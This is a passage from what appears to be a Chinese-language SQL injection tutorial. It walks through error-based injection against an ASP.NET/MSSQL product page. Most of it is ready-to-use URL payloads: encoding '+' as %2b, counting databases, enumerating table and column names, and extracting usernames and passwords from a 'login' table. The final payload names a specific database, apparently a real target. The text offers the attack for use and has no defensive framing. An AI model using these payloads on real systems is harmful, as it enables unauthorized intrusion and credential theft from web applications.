http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--
把里面的’+’换成%2b即可解决问题,如下
1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )%2bCHAR(58)%2bCHAR(58)))--
11,获取当前数据库中的所有表名 如下表示获取当前库的第一张表名
1
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 table_name from information_schema.tables ))--
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 table_name from information_schema.tables where table_name notin('photoGalary') ))--
获取第三张表名
1
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 table_name from information_schema.tables where table_name notin('photoGalary','menu') ))--
获取第四张表名
1
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 table_name from information_schema.tables where table_name notin('photoGalary','menu','Login') ))--
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 table_name from information_schema.tables where table_name notin('photoGalary','menu','Login','footer','feedback','header','slider','services','product') ))--
当然,你也可以像前面一样,事先统计下当前库中表的总个数:
1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )%2bCHAR(58)%2bCHAR(58)))--
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))--
最后,获取的所有字段,名如下
1
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login'and column_name notin('login_id','username','password','name') ))--
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 username from login ))--
获取password字段下的第一条数据
1
http://vuln.com/Product.aspx?id=8and1=convert(int,(select top 1 password from login ))--
统计login中有多少条记录
1
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM login)%2bCHAR(58)%2bCHAR(58)))--
http://vuln.com/Product.aspx?id=8 AND 1=CONVERT(INT,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC))--